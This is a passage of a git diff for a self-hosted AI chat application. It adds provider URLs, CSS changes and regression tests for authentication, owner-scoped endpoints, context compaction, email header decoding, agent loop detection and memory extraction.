card.classList.add('doclib-card-deleting');
|
||||
card.addEventListener('transitionend', () => card.remove(), { once: true });
|
||||
setTimeout(() => { if (card.parentElement) card.remove(); }, 400);
|
||||
} else {
|
||||
await loadSkills();
|
||||
}
|
||||
await loadSkills();
|
||||
uiModule.showToast('Skill deleted');
|
||||
} catch (e) { uiModule.showError('Delete failed: ' + e.message); }
|
||||
}
|
||||
|
||||
@@ -54,8 +54,10 @@ const SETUP_PROVIDER_URLS = {
|
||||
groq: { name: 'Groq', url: 'https://api.groq.com/openai/v1' },
|
||||
gemini: { name: 'Gemini', url: 'https://generativelanguage.googleapis.com/v1beta/openai' },
|
||||
google: { name: 'Gemini', url: 'https://generativelanguage.googleapis.com/v1beta/openai' },
|
||||
'opencode-zen': { name: 'OpenCode Zen', url: 'https://opencode.ai/zen/v1' },
|
||||
'opencode-go': { name: 'OpenCode Go', url: 'https://opencode.ai/zen/go/v1' },
|
||||
};
|
||||
const SETUP_PROVIDER_NAMES = ['deepseek', 'openai', 'openrouter', 'ollama', 'xai', 'anthropic', 'groq', 'gemini'];
|
||||
const SETUP_PROVIDER_NAMES = ['deepseek', 'openai', 'openrouter', 'ollama', 'xai', 'anthropic', 'groq', 'gemini', 'opencode-zen', 'opencode-go'];
|
||||
const SETUP_PROVIDER_HINT = SETUP_PROVIDER_NAMES.slice(0, -1).join(', ') + ', or ' + SETUP_PROVIDER_NAMES[SETUP_PROVIDER_NAMES.length - 1];
|
||||
const SETUP_LOCAL_ICON = '<svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="vertical-align:-1px;margin-right:5px;"><rect x="2" y="3" width="20" height="14" rx="2"/><path d="M8 21h8"/><path d="M12 17v4"/></svg>';
|
||||
const SETUP_API_ICON = '<svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="vertical-align:-1px;margin-right:5px;"><circle cx="12" cy="12" r="10"/><line x1="2" y1="12" x2="22" y2="12"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg>';
|
||||
|
||||
+43
-2
@@ -2940,6 +2940,34 @@ body.bg-pattern-sparkles {
|
||||
45% { text-shadow: 0 0 10px color-mix(in srgb, var(--accent, var(--red)) 60%, transparent); }
|
||||
100% { text-shadow: 0 0 0 color-mix(in srgb, var(--accent, var(--red)) 0%, transparent); }
|
||||
}
|
||||
/* Inline remove-from-recent button — only shown on Recent rows. */
|
||||
.model-picker-list .mp-remove-dot {
|
||||
flex: 0 0 auto;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
margin: -4px -4px -4px 2px;
|
||||
padding: 0;
|
||||
border: none;
|
||||
background: transparent;
|
||||
cursor: pointer;
|
||||
color: color-mix(in srgb, var(--fg) 28%, transparent);
|
||||
font-family: inherit;
|
||||
font-size: 15px;
|
||||
line-height: 1;
|
||||
transition: color 0.15s ease, opacity 0.15s ease, transform 0.12s ease;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
}
|
||||
.model-picker-list .mp-remove-dot:hover {
|
||||
color: var(--red, #ff5555);
|
||||
transform: scale(1.1);
|
||||
}
|
||||
.model-picker-list .mp-remove-dot:focus-visible {
|
||||
outline: none;
|
||||
color: var(--red, #ff5555);
|
||||
}
|
||||
/* First-run hint when a large catalog has no Recent/Favorites yet. */
|
||||
.model-picker-list .mp-empty-hint {
|
||||
flex-direction: column;
|
||||
@@ -7722,7 +7750,13 @@ button.hamburger {
|
||||
border-collapse: collapse;
|
||||
margin: 0.5em 0;
|
||||
font-size: 0.9em;
|
||||
width: auto;
|
||||
display: block;
|
||||
width: max-content;
|
||||
min-width: 100%;
|
||||
max-width: 100%;
|
||||
overflow-x: auto;
|
||||
-webkit-overflow-scrolling: touch;
|
||||
table-layout: auto;
|
||||
}
|
||||
.msg th {
|
||||
background: color-mix(in srgb, var(--fg) 7%, transparent);
|
||||
@@ -7731,10 +7765,16 @@ button.hamburger {
|
||||
padding: 6px 12px;
|
||||
border: 1px solid var(--border);
|
||||
text-align: left;
|
||||
min-width: 9ch;
|
||||
word-break: normal;
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
.msg td {
|
||||
padding: 5px 12px;
|
||||
border: 1px solid var(--border);
|
||||
min-width: 9ch;
|
||||
word-break: normal;
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
|
||||
/* Agent UI Styling */
|
||||
@@ -10238,8 +10278,9 @@ textarea.memory-add-input {
|
||||
}
|
||||
|
||||
.memory-toolbar-btn:disabled {
|
||||
opacity: 1;
|
||||
opacity: 0.35;
|
||||
cursor: default;
|
||||
outline: none;
|
||||
}
|
||||
.memory-toolbar-btn.spinning {
|
||||
border-color: transparent;
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
import asyncio
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
|
||||
import pytest
|
||||
from fastapi import HTTPException
|
||||
|
||||
from src import auth_helpers
|
||||
|
||||
|
||||
def _request(*, current_user="api", api_token=True, api_token_owner="alice"):
|
||||
return SimpleNamespace(
|
||||
state=SimpleNamespace(
|
||||
current_user=current_user,
|
||||
api_token=api_token,
|
||||
api_token_owner=api_token_owner,
|
||||
),
|
||||
app=SimpleNamespace(
|
||||
state=SimpleNamespace(
|
||||
auth_manager=SimpleNamespace(is_configured=True),
|
||||
),
|
||||
),
|
||||
client=SimpleNamespace(host="203.0.113.10"),
|
||||
)
|
||||
|
||||
|
||||
def test_require_user_rejects_api_token_pseudo_user(monkeypatch):
|
||||
monkeypatch.setenv("AUTH_ENABLED", "true")
|
||||
req = _request()
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
auth_helpers.require_user(req)
|
||||
|
||||
assert exc.value.status_code == 403
|
||||
|
||||
|
||||
def test_require_authenticated_request_allows_api_token_owner(monkeypatch):
|
||||
monkeypatch.setenv("AUTH_ENABLED", "true")
|
||||
req = _request()
|
||||
|
||||
assert auth_helpers.require_authenticated_request(req) == "alice"
|
||||
|
||||
|
||||
def test_codex_as_owner_can_call_nested_user_routes(monkeypatch):
|
||||
monkeypatch.setenv("AUTH_ENABLED", "true")
|
||||
from routes.codex_routes import _as_owner
|
||||
|
||||
req = _request()
|
||||
|
||||
async def nested_handler(request):
|
||||
return auth_helpers.require_user(request)
|
||||
|
||||
assert asyncio.run(_as_owner(req, "alice", nested_handler, req)) == "alice"
|
||||
assert req.state.current_user == "api"
|
||||
assert req.state.api_token is True
|
||||
|
||||
|
||||
def test_codex_plugin_downloads_use_general_authenticated_gate():
|
||||
source = Path("routes/codex_routes.py").read_text(encoding="utf-8")
|
||||
|
||||
assert "require_authenticated_request" in source
|
||||
assert source.count("require_authenticated_request(request)") == 2
|
||||
@@ -95,7 +95,7 @@ def test_login_offloads_bcrypt_bearing_calls(monkeypatch):
|
||||
monkeypatch.setattr("routes.auth_routes.asyncio.to_thread", fake_to_thread)
|
||||
auth.verify_password.return_value = True
|
||||
auth.totp_enabled.return_value = False
|
||||
auth.create_session.return_value = "tok-123"
|
||||
auth.create_session_trusted.return_value = "tok-123"
|
||||
|
||||
login = _login_endpoint(auth)
|
||||
|
||||
@@ -107,7 +107,7 @@ def test_login_offloads_bcrypt_bearing_calls(monkeypatch):
|
||||
|
||||
assert result["ok"] is True
|
||||
auth.verify_password.assert_called_once()
|
||||
auth.create_session.assert_called_once()
|
||||
auth.create_session_trusted.assert_called_once()
|
||||
# The whole point: the expensive bcrypt-bearing calls go through
|
||||
# asyncio.to_thread rather than running inline in the request coroutine.
|
||||
assert calls == [auth.verify_password, auth.create_session]
|
||||
assert calls == [auth.verify_password, auth.create_session_trusted]
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
|
||||
|
||||
def _src(path: str) -> str:
|
||||
return (ROOT / path).read_text(encoding="utf-8")
|
||||
|
||||
|
||||
def test_registered_manual_compaction_uses_session_owner_for_utility_endpoint():
|
||||
session_src = _src("routes/session_routes.py")
|
||||
|
||||
assert 'owner = getattr(session, "owner", None) or effective_user(request)' in session_src
|
||||
assert 'resolve_endpoint("utility", owner=owner)' in session_src
|
||||
|
||||
|
||||
def test_task_name_generation_uses_owner_scoped_session_endpoint():
|
||||
src = _src("routes/task_routes.py")
|
||||
|
||||
assert "async def _generate_task_name(prompt: str, owner: Optional[str] = None)" in src
|
||||
assert "q = q.filter(DbSession.owner == owner)" in src
|
||||
assert "headers = recent.headers or {}" in src
|
||||
assert "headers=headers" in src
|
||||
assert "await _generate_task_name(req.prompt, owner=user)" in src
|
||||
|
||||
|
||||
def test_auto_compaction_utility_endpoint_keeps_chat_owner():
|
||||
helper_src = _src("routes/chat_helpers.py")
|
||||
compact_src = _src("src/context_compactor.py")
|
||||
|
||||
assert "owner=user" in helper_src
|
||||
assert "owner: Optional[str] = None" in compact_src
|
||||
assert 'resolve_endpoint("utility", owner=owner)' in compact_src
|
||||
|
||||
|
||||
def test_background_session_sort_uses_owner_task_endpoint():
|
||||
src = _src("src/session_actions.py")
|
||||
|
||||
assert "resolve_task_endpoint(owner=owner or None)" in src
|
||||
|
||||
|
||||
def test_scheduler_fallbacks_and_research_headers_are_owner_scoped():
|
||||
src = _src("src/task_scheduler.py")
|
||||
|
||||
assert "resolve_utility_fallback_candidates(owner=task.owner or None)" in src
|
||||
assert 'resolve_endpoint(\n "research",' in src
|
||||
assert "owner=task.owner or None" in src
|
||||
assert "headers_from_resolver = False" in src
|
||||
assert "headers_from_resolver = True" in src
|
||||
assert "from src.auth_helpers import owner_filter" in src
|
||||
assert "owner_filter(ep_q, ModelEndpoint, task.owner or None)" in src
|
||||
|
||||
|
||||
def test_research_routes_fallbacks_are_owner_scoped():
|
||||
src = _src("routes/research_routes.py")
|
||||
|
||||
assert 'resolve_endpoint("research", owner=user)' in src
|
||||
assert 'resolve_endpoint("utility", owner=user)' in src
|
||||
assert 'resolve_endpoint("default", owner=user)' in src
|
||||
assert 'resolve_endpoint("chat", owner=user)' in src
|
||||
assert '_merge(*resolve_endpoint("chat", owner=user))' in src
|
||||
assert '_merge(*resolve_endpoint("research", owner=user))' in src
|
||||
assert '_merge(*resolve_endpoint("utility", owner=user))' in src
|
||||
assert "ep = _owned_enabled_endpoint(db, user)" in src
|
||||
assert "db.query(ModelEndpoint).filter(ModelEndpoint.is_enabled == True).first()" not in src
|
||||
assert "owner = getattr(sess, \"owner\", None) or None" in src
|
||||
@@ -0,0 +1,97 @@
|
||||
"""Regression test for #2160: when the compaction summary LLM call fails,
|
||||
maybe_compact must return the original messages unchanged, not the older half
|
||||
dropped. Uses mock imports to avoid loading the full app stack."""
|
||||
|
||||
import asyncio
|
||||
import sys
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
# Mock heavy dependencies before importing
|
||||
for mod in [
|
||||
'sqlalchemy', 'sqlalchemy.orm', 'sqlalchemy.ext', 'sqlalchemy.ext.declarative',
|
||||
'sqlalchemy.ext.hybrid', 'sqlalchemy.sql', 'sqlalchemy.sql.expression',
|
||||
'src.database',
|
||||
'core.models', 'core.database',
|
||||
]:
|
||||
if mod not in sys.modules:
|
||||
sys.modules[mod] = MagicMock()
|
||||
|
||||
import src.context_compactor as cc
|
||||
from src.context_compactor import maybe_compact
|
||||
|
||||
|
||||
class TestCompactionSummaryFailure:
|
||||
"""When the summary call raises, no conversation history may be lost.
|
||||
|
||||
On success maybe_compact replaces the older half with a summary message.
|
||||
On failure it must degrade gracefully and hand back the original messages
|
||||
list unchanged, so the next turn (or trim_for_context) can handle length.
|
||||
Before the fix the except branch returned `system_msgs + recent`, silently
|
||||
discarding the older half while reporting was_compacted=False — the caller
|
||||
then treated a materially shorter list as a no-op."""
|
||||
|
||||
def _run(self, messages, *, context_length=100):
|
||||
# Force compaction to trigger (pct over COMPACT_THRESHOLD) and make the
|
||||
# summary call fail, so the except branch runs. Stub everything so the
|
||||
# test is hermetic (no network, no real endpoint resolution).
|
||||
orig_ctx = cc.get_context_length
|
||||
orig_est = cc.estimate_tokens
|
||||
orig_call = cc.llm_call_async
|
||||
orig_resolve = cc.resolve_endpoint
|
||||
orig_update = cc._update_session_history
|
||||
|
||||
async def _boom(*a, **k):
|
||||
raise RuntimeError("summary model down")
|
||||
|
||||
cc.get_context_length = lambda url, model: context_length
|
||||
cc.estimate_tokens = lambda msgs: 10000 # well over the threshold
|
||||
cc.llm_call_async = _boom
|
||||
cc.resolve_endpoint = lambda *a, **k: (None, None, None)
|
||||
cc._update_session_history = lambda *a, **k: None
|
||||
try:
|
||||
return asyncio.run(
|
||||
maybe_compact(
|
||||
session=None,
|
||||
endpoint_url="http://local/v1/chat/completions",
|
||||
model="local-model",
|
||||
messages=list(messages),
|
||||
headers={},
|
||||
)
|
||||
)
|
||||
finally:
|
||||
cc.get_context_length = orig_ctx
|
||||
cc.estimate_tokens = orig_est
|
||||
cc.llm_call_async = orig_call
|
||||
cc.resolve_endpoint = orig_resolve
|
||||
cc._update_session_history = orig_update
|
||||
|
||||
def _history(self):
|
||||
return [
|
||||
{"role": "system", "content": "PRESET"},
|
||||
{"role": "user", "content": "OLDER-1"},
|
||||
{"role": "assistant", "content": "OLDER-2"},
|
||||
{"role": "user", "content": "OLDER-3"},
|
||||
{"role": "assistant", "content": "RECENT-1"},
|
||||
{"role": "user", "content": "RECENT-2"},
|
||||
{"role": "assistant", "content": "RECENT-3"},
|
||||
]
|
||||
|
||||
def test_returns_original_messages_when_summary_fails(self):
|
||||
messages = self._history()
|
||||
out, _ctx, was_compacted = self._run(messages)
|
||||
|
||||
# Nothing was actually compacted.
|
||||
assert was_compacted is False
|
||||
# The full original list comes back unchanged — including the older half.
|
||||
assert out == messages
|
||||
|
||||
def test_older_messages_not_dropped_on_failure(self):
|
||||
messages = self._history()
|
||||
out, _ctx, _was = self._run(messages)
|
||||
|
||||
contents = [m["content"] for m in out]
|
||||
# The older half must survive the failed summary call.
|
||||
for older in ("OLDER-1", "OLDER-2", "OLDER-3"):
|
||||
assert older in contents
|
||||
@@ -133,7 +133,7 @@ class TestMaybeCompactFourthMessage:
|
||||
|
||||
cc.get_context_length = lambda url, model: context_length
|
||||
cc.llm_call_async = _fake_summary
|
||||
cc.resolve_endpoint = lambda which: (None, None, None)
|
||||
cc.resolve_endpoint = lambda which, owner=None: (None, None, None)
|
||||
cc._update_session_history = lambda *a, **k: None
|
||||
try:
|
||||
return asyncio.run(
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
@@ -557,6 +558,36 @@ def test_cached_model_scan_reports_plain_dir_gguf(tmp_path):
|
||||
assert ggufs[3]["quant"] == "BF16"
|
||||
|
||||
|
||||
def test_cached_model_scan_uses_huggingface_cache_env(tmp_path):
|
||||
"""Docker recreates can leave the persisted HF cache outside HOME.
|
||||
The Serve scanner should honor the cache env path instead of only ~/.cache.
|
||||
"""
|
||||
hf_cache = tmp_path / "app-cache" / "hub"
|
||||
model = hf_cache / "models--Qwen--Qwen3.6-35B"
|
||||
(model / "blobs").mkdir(parents=True)
|
||||
(model / "blobs" / "weights.safetensors").write_bytes(b"weights")
|
||||
(model / "snapshots" / "abc").mkdir(parents=True)
|
||||
(model / "snapshots" / "abc" / "config.json").write_text("{}", encoding="utf-8")
|
||||
|
||||
empty_home = tmp_path / "home"
|
||||
empty_home.mkdir()
|
||||
scan_py = tmp_path / "scan_cache_env.py"
|
||||
scan_py.write_text(_cached_model_scan_script(), encoding="utf-8")
|
||||
env = dict(os.environ)
|
||||
env["HOME"] = str(empty_home)
|
||||
env["HUGGINGFACE_HUB_CACHE"] = str(hf_cache)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(scan_py)],
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env=env,
|
||||
)
|
||||
|
||||
by_repo = {m["repo_id"]: m for m in json.loads(proc.stdout)}
|
||||
assert by_repo["Qwen/Qwen3.6-35B"]["path"] == str(hf_cache)
|
||||
|
||||
|
||||
# ── #1219 / #1459: keep big dependency wheel builds off the home pip cache ──
|
||||
|
||||
def test_pip_install_no_cache_injects_flag():
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
"""Regression test for the CORS-preflight auth bypass.
|
||||
|
||||
AuthMiddleware is the outermost middleware, so it used to 401 the credential-less
|
||||
OPTIONS preflight before CORSMiddleware could answer it -- which blocks every
|
||||
cross-origin browser/WebView client before the real request is ever sent. The
|
||||
fix lets a genuine preflight through; `is_cors_preflight` is the pure predicate
|
||||
it uses. Guard it so the bypass can't silently regress.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
|
||||
from core.middleware import is_cors_preflight
|
||||
|
||||
|
||||
def test_genuine_preflight_is_detected():
|
||||
assert is_cors_preflight("OPTIONS", {"access-control-request-method": "POST"}) is True
|
||||
|
||||
|
||||
def test_bare_options_is_not_a_preflight():
|
||||
# OPTIONS without Access-Control-Request-Method must NOT bypass auth.
|
||||
assert is_cors_preflight("OPTIONS", {}) is False
|
||||
|
||||
|
||||
def test_real_methods_are_never_preflight():
|
||||
headers = {"access-control-request-method": "POST"}
|
||||
for method in ("GET", "POST", "PUT", "DELETE", "PATCH"):
|
||||
assert is_cors_preflight(method, headers) is False
|
||||
@@ -0,0 +1,42 @@
|
||||
"""routes.email_helpers._decode_header must not inject spaces between parts.
|
||||
|
||||
email.header.decode_header returns plain-text runs WITH their surrounding
|
||||
whitespace (e.g. (b"Re: ", None)), so joining the parts with " " produced a
|
||||
double space after "Re:" on every non-ASCII subject, a spurious space in
|
||||
"Name <addr>" senders, and violated RFC 2047 6.2, which requires the
|
||||
whitespace between two adjacent encoded-words to be dropped. The corruption
|
||||
surfaced on the inbox list, message read, search, and the background pollers.
|
||||
|
||||
The sibling mcp_servers.email_server._decode_header was already fixed for this
|
||||
(see tests/test_mcp_email_decode_header_spaces.py); these pin the same contract
|
||||
for the routes.email_helpers copy.
|
||||
"""
|
||||
import os
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
_tmp_data = Path(tempfile.mkdtemp(prefix="odysseus_decode_hdr_spaces_"))
|
||||
os.environ.setdefault("DATA_DIR", str(_tmp_data))
|
||||
os.environ.setdefault("DATABASE_URL", f"sqlite:///{_tmp_data / 'app.db'}")
|
||||
|
||||
from routes.email_helpers import _decode_header
|
||||
|
||||
|
||||
def test_prefix_then_encoded_word_single_space():
|
||||
# "Re: " (plain text, trailing space) followed by an encoded word must
|
||||
# keep exactly one space -- the old " ".join produced "Re: Jose".
|
||||
assert _decode_header("Re: =?utf-8?b?SsOzc2U=?=") == "Re: Jóse"
|
||||
|
||||
|
||||
def test_encoded_word_then_plain_text_single_space():
|
||||
assert _decode_header("=?utf-8?b?SsOzc2U=?= Smith") == "Jóse Smith"
|
||||
|
||||
|
||||
def test_adjacent_encoded_words_join_without_space():
|
||||
# RFC 2047 6.2: whitespace between two adjacent encoded-words is dropped.
|
||||
out = _decode_header("=?iso-8859-1?q?Caf=E9?= =?utf-8?b?5pel5pys?=")
|
||||
assert out == "Café日本"
|
||||
|
||||
|
||||
def test_plain_ascii_header_unchanged():
|
||||
assert _decode_header("Weekly report") == "Weekly report"
|
||||
@@ -79,6 +79,7 @@ class _FakeSession:
|
||||
endpoint_url = "http://example.test/v1"
|
||||
model = "test-model"
|
||||
headers = {}
|
||||
owner = "session-owner"
|
||||
|
||||
def __init__(self, history):
|
||||
self.history = history
|
||||
@@ -107,7 +108,11 @@ def _compact_prompt_for(monkeypatch, history):
|
||||
import src.model_context as model_context
|
||||
|
||||
monkeypatch.setattr(agent_runs, "is_active", lambda session_id: False)
|
||||
monkeypatch.setattr(endpoint_resolver, "resolve_endpoint", lambda kind, owner=None: (None, None, {}))
|
||||
def fake_resolve_endpoint(kind, owner=None):
|
||||
captured.setdefault("resolve_calls", []).append((kind, owner))
|
||||
return None, None, {}
|
||||
|
||||
monkeypatch.setattr(endpoint_resolver, "resolve_endpoint", fake_resolve_endpoint)
|
||||
monkeypatch.setattr(llm_core, "llm_call_async", fake_llm_call_async)
|
||||
monkeypatch.setattr(model_context, "estimate_tokens", lambda messages: 100)
|
||||
monkeypatch.setattr(model_context, "get_context_length", lambda endpoint_url, model: 1000)
|
||||
@@ -146,7 +151,11 @@ def _registered_compact_response(monkeypatch, history, active_run=False):
|
||||
import src.llm_core as llm_core
|
||||
|
||||
monkeypatch.setattr(agent_runs, "is_active", lambda session_id: active_run)
|
||||
monkeypatch.setattr(endpoint_resolver, "resolve_endpoint", lambda kind, owner=None: (None, None, {}))
|
||||
def fake_resolve_endpoint(kind, owner=None):
|
||||
captured.setdefault("resolve_calls", []).append((kind, owner))
|
||||
return None, None, {}
|
||||
|
||||
monkeypatch.setattr(endpoint_resolver, "resolve_endpoint", fake_resolve_endpoint)
|
||||
monkeypatch.setattr(llm_core, "llm_call_async", fake_llm_call_async)
|
||||
|
||||
session = _FakeSession(history)
|
||||
@@ -212,6 +221,24 @@ def test_registered_manual_compact_route_tolerates_none_content(monkeypatch):
|
||||
assert manager.replaced_messages is not None
|
||||
|
||||
|
||||
def test_registered_manual_compact_route_uses_session_owner(monkeypatch):
|
||||
response, captured, manager = _registered_compact_response(
|
||||
monkeypatch,
|
||||
[
|
||||
ChatMessage(role="user", content="start"),
|
||||
ChatMessage(role="assistant", content="tool call"),
|
||||
ChatMessage(role="tool", content="tool result"),
|
||||
ChatMessage(role="assistant", content="done"),
|
||||
ChatMessage(role="user", content="next"),
|
||||
ChatMessage(role="assistant", content="final"),
|
||||
],
|
||||
)
|
||||
|
||||
assert response.status_code == 200
|
||||
assert manager.replaced_messages is not None
|
||||
assert ("utility", "session-owner") in captured["resolve_calls"]
|
||||
|
||||
|
||||
def test_registered_manual_compact_route_rejects_active_agent_run(monkeypatch):
|
||||
response, captured, manager = _registered_compact_response(
|
||||
monkeypatch,
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
"""Regression test for the agent loop-breaker's runaway backstop.
|
||||
|
||||
A legitimate batch of DISTINCT tool calls (e.g. creating 18 calendar events at
|
||||
once) must not be flagged as a runaway loop. Only the SAME exact call repeated
|
||||
an absurd number of times is a real runaway. Previously the backstop counted
|
||||
per-tool-type totals, so any batch of >=15 distinct calls to one tool was
|
||||
aborted and the calls were silently discarded.
|
||||
"""
|
||||
import sys
|
||||
import collections
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
# Mock heavy deps so importing src.agent_loop doesn't load the full app stack.
|
||||
_MOCKED = [
|
||||
'sqlalchemy', 'sqlalchemy.orm', 'sqlalchemy.ext', 'sqlalchemy.ext.declarative',
|
||||
'sqlalchemy.ext.hybrid', 'sqlalchemy.sql', 'sqlalchemy.sql.expression',
|
||||
'src.database', 'src.agent_tools', 'core.models', 'core.database',
|
||||
]
|
||||
for _m in _MOCKED:
|
||||
sys.modules.setdefault(_m, MagicMock())
|
||||
|
||||
from src.agent_loop import _detect_runaway_call
|
||||
|
||||
|
||||
def _freq(sigs):
|
||||
c = collections.Counter()
|
||||
for s in sigs:
|
||||
c[s] += 1
|
||||
return c
|
||||
|
||||
|
||||
def test_distinct_batch_is_not_runaway():
|
||||
# 18 distinct manage_calendar create_event calls (the "add 18 birthdays" case)
|
||||
sigs = [f'manage_calendar:{{"action":"create_event","summary":"Birthday {n}"}}'
|
||||
for n in range(18)]
|
||||
assert _detect_runaway_call(_freq(sigs)) is None
|
||||
|
||||
|
||||
def test_many_distinct_same_tool_is_not_runaway():
|
||||
sigs = [f'bash:echo {i}' for i in range(30)]
|
||||
assert _detect_runaway_call(_freq(sigs)) is None
|
||||
|
||||
|
||||
def test_identical_call_repeated_is_runaway():
|
||||
sigs = ['manage_calendar:{"action":"list_events"}'] * 15
|
||||
assert _detect_runaway_call(_freq(sigs)) == 'manage_calendar'
|
||||
|
||||
|
||||
def test_below_threshold_is_not_runaway():
|
||||
sigs = ['bash:ls'] * 14
|
||||
assert _detect_runaway_call(_freq(sigs)) is None
|
||||
|
||||
|
||||
def test_threshold_is_configurable():
|
||||
sigs = ['web_search:python'] * 5
|
||||
assert _detect_runaway_call(_freq(sigs), threshold=5) == 'web_search'
|
||||
assert _detect_runaway_call(_freq(sigs), threshold=6) is None
|
||||
|
||||
|
||||
def test_empty_is_not_runaway():
|
||||
assert _detect_runaway_call(collections.Counter()) is None
|
||||
@@ -0,0 +1,31 @@
|
||||
"""The fallback memory extractor must not invert dislikes into preferences.
|
||||
|
||||
_fallback_memory_candidates matched both positive (prefer/like/love) and
|
||||
negative (hate/do not like/don't like) sentiment verbs in one alternation but
|
||||
formatted every hit as "User prefers X.", so "I hate cilantro" was stored as
|
||||
"User prefers cilantro" -- the opposite of what the user said, then persisted
|
||||
to memory and re-injected into context. These pin the sentiment.
|
||||
"""
|
||||
from services.memory.memory_extractor import _fallback_memory_candidates
|
||||
|
||||
|
||||
def _texts(content):
|
||||
cands = _fallback_memory_candidates([{"role": "user", "content": content}])
|
||||
return [c["text"].lower() for c in cands]
|
||||
|
||||
|
||||
def test_dislike_is_not_stored_as_preference():
|
||||
texts = _texts("I hate cilantro in my food")
|
||||
assert not any("prefers cilantro" in t for t in texts)
|
||||
assert any("dislikes cilantro" in t for t in texts)
|
||||
|
||||
|
||||
def test_negated_like_is_not_stored_as_preference():
|
||||
texts = _texts("I don't like crowded trains")
|
||||
assert not any("prefers crowded" in t for t in texts)
|
||||
assert any("dislikes crowded" in t for t in texts)
|
||||
|
||||
|
||||
def test_genuine_preference_still_stored():
|
||||
texts = _texts("I love spicy ramen noodles")
|
||||
assert any("prefers spicy ramen" in t for t in texts)
|
||||
@@ -0,0 +1,26 @@
|
||||
"""Regression for issue #1982 — long model names are clipped with ellipsis in
|
||||
two surfaces (the model-picker dropdown items and the chat-header model
|
||||
indicator) with no tooltip, so the suffix/variant tag is undiscoverable.
|
||||
|
||||
The fix adds a `title` (native hover tooltip) carrying the full name to both
|
||||
render sites in static/js/modelPicker.js. The module pulls in browser globals so
|
||||
it can't be imported under node; this guards the two title assignments at source.
|
||||
"""
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC = (Path(__file__).resolve().parent.parent / "static/js/modelPicker.js").read_text(encoding="utf-8")
|
||||
|
||||
|
||||
def test_dropdown_item_has_title_tooltip():
|
||||
# The dropdown item name span must carry a title with the full display name.
|
||||
assert re.search(r"nameSpan\.title\s*=\s*m\.display", SRC), \
|
||||
"dropdown model-name span needs a title tooltip (#1982)"
|
||||
|
||||
|
||||
def test_header_indicator_has_title_tooltip():
|
||||
# updateModelPicker must set the header label's title to the full model id
|
||||
# (empty for the 'Select model' placeholder).
|
||||
body = SRC[SRC.index("export function updateModelPicker()"):]
|
||||
assert re.search(r"label\.title\s*=\s*modelId\b", body), \
|
||||
"header model indicator needs a title tooltip (#1982)"
|
||||
@@ -360,6 +360,48 @@ class TestClassifyEndpoint:
|
||||
assert seen == [("GET", "http://100.117.136.97:34521/v1")]
|
||||
assert all(not url.endswith("/models") for _, url in seen)
|
||||
|
||||
def test_ping_endpoint_falls_back_to_models_on_404(self, monkeypatch):
|
||||
"""llama-swap returns 404 on /v1 but 200 on /v1/models."""
|
||||
monkeypatch.setattr(endpoint_resolver, "resolve_url", lambda url: url, raising=False)
|
||||
seen = []
|
||||
|
||||
def fake_get(url, headers=None, timeout=None, verify=None, **kwargs):
|
||||
seen.append(url)
|
||||
request = httpx.Request("GET", url)
|
||||
if url.endswith("/models"):
|
||||
return httpx.Response(200, request=request)
|
||||
return httpx.Response(404, request=request)
|
||||
|
||||
monkeypatch.setattr(model_routes.httpx, "get", fake_get)
|
||||
|
||||
result = _ping_endpoint("http://172.17.0.1:8081/v1", timeout=1)
|
||||
|
||||
assert result["reachable"] is True
|
||||
assert result["status_code"] == 200
|
||||
assert seen == [
|
||||
"http://172.17.0.1:8081/v1",
|
||||
"http://172.17.0.1:8081/v1/models",
|
||||
]
|
||||
|
||||
def test_ping_endpoint_no_models_fallback_on_auth_failure(self, monkeypatch):
|
||||
"""401/403 are definitive — don't probe /models."""
|
||||
monkeypatch.setattr(endpoint_resolver, "resolve_url", lambda url: url, raising=False)
|
||||
seen = []
|
||||
|
||||
def fake_get(url, headers=None, timeout=None, verify=None, **kwargs):
|
||||
seen.append(url)
|
||||
request = httpx.Request("GET", url)
|
||||
return httpx.Response(401, request=request)
|
||||
|
||||
monkeypatch.setattr(model_routes.httpx, "get", fake_get)
|
||||
|
||||
result = _ping_endpoint("http://10.0.0.1:8080/v1", "bad-key", timeout=1)
|
||||
|
||||
assert result["reachable"] is False
|
||||
assert result["status_code"] == 401
|
||||
# Should NOT have tried /models — 401 is definitive
|
||||
assert len(seen) == 1
|
||||
|
||||
|
||||
# ── setup probing ──
|
||||
|
||||
|
||||
@@ -0,0 +1,173 @@
|
||||
import asyncio
|
||||
from types import SimpleNamespace
|
||||
|
||||
import pytest
|
||||
from fastapi import HTTPException
|
||||
|
||||
|
||||
class _AuthManager:
|
||||
is_configured = True
|
||||
|
||||
def __init__(self, admins=()):
|
||||
self._admins = set(admins)
|
||||
|
||||
def is_admin(self, user):
|
||||
return user in self._admins
|
||||
|
||||
|
||||
class _Request:
|
||||
def __init__(self, body, *, user="alice", admins=()):
|
||||
self._body = body
|
||||
self.state = SimpleNamespace(current_user=user)
